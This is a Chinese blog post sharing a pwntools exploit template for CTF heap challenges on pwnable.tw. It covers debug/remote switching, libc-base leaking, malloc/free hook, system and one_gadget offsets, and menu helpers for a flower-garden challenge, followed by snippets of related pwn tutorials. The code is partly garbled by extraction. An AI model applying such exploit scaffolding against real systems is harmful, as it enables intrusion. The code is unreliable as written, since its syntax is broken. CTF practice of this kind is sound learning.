筆記 pwn模板

2021-10-19 17:46:28 字數 2648 閱讀 7611

今天在乙個師傅部落格中學到了一種當本地 libc 和遠端 libc 不一樣,除錯和 getshell 之間需要切換的情況下,這種模板就會很簡單。拿過來結合自己之前用的如下:

from pwn import

*import sys

context.log_level =

"debug"

elf = elf(

"./pwn"

)if sys.ar**[1]

=="process"

: p = process(

"./pwn"

) libc = elf(

"/lib/x86_64-linux-gnu/libc.so.6"

)else

: p = remote(

"chall.pwnable.tw"

,10302

) libc = elf(

"./libc_64.so.6"

)debug =

0if debug:

gdb.attach(p,

'''

b *0x08048935

c '''

)def

dbg():

gdb.attach(p)

pause(

)se =

lambda data :p.send(data)

sa =

lambda delim,data :p.sendafter(delim, data)

sl =

lambda data :p.sendline(data)

sla =

lambda delim,data :p.sendlineafter(delim, data)

rc =

lambda num :p.recv(num)

rl =

lambda

:p.recvline(

)ru =

lambda delims :p.recvuntil(delims)

uu32 =

lambda data :u32(data.ljust(4,

'\x00'))

uu64 =

lambda data :u64(data.ljust(8,

'\x00'))

info =

lambda tag, addr :log.info(tag +

" -> "

+hex

(addr)

)ia =

lambda

:p.interactive(

)libc_base = u64(ru(

"\x7f")[

-6:]

.ljust(8,

'\x00'))

-0x68

- libc.symbols[

'__malloc_hook'

]info(

"libc_base"

, libc_base)

malloc_hook = libc_base + libc.symbols[

'__malloc_hook'

]free_hook = libc_base + libc.symbols[

'__free_hook'

]system = libc_base + libc.symbols[

'system'

]bin_sh = libc_base + libc.search(

"/bin/sh").

next()

menu =

"your choice : "

defcmd

(idx)

: ru(menu)

sl(str(idx)

)def

add(length, name, color=

'blue'):

cmd(1)

ru("length of the name :"

) sl(

str(length)

) ru(

"the name of flower :"

) se(name)

ru("the color of the flower :"

) sl(color)

defshow()

: cmd(2)

defremove

(idx)

: cmd(3)

ru("remove from the garden:"

) sl(

str(idx)

)def

clear()

: cmd(4)

if sys.ar**[1]

=="process"

: one_gadget = libc_base +

0xf02a4

else

: one_gadget = libc_base +

0xef6c4

ia()

Pwn入門筆記(三)函式細節

關於p64 u64 int等轉換函式 題目中write 引數1,引數2,引數3 write有三個引數,引數1是模式,1 為寫模式,引數2在棧上其實是乙個位址,它會將這個位址上存的字串給列印出來,引數3是列印字串的長度。直接進行輸出,p 可以輸出後面引數的位址上的值 格式為0x 20 p 無空格 列印...

PWN系列 攻防世界pwn高階區welpwn分析

個人部落格位址 函式 也比較簡單。read那裡也不存溢位。都是0x400。緊接著呼叫了echo函式。在echo函式中,將大小為0x400的buf中的值複製給大小為0x10的s2,很明顯會造成溢位。唯一的問題就是,如果buf中含有 x00。會中斷迴圈。函式執行的整體流程就是,使用者輸入的字串會存放到b...

PWN環境 工具

寫exp必備工具。附上使用和安裝說明書 動態很多 著名的ollydbg 建議使用吾愛破解的 也在linux下也需要借助wine來執行。另外linux下直接在終端除錯的配套程式 gdb peda pwndbg radare2 onegadget peid upx等等,同樣linux下peid需要win...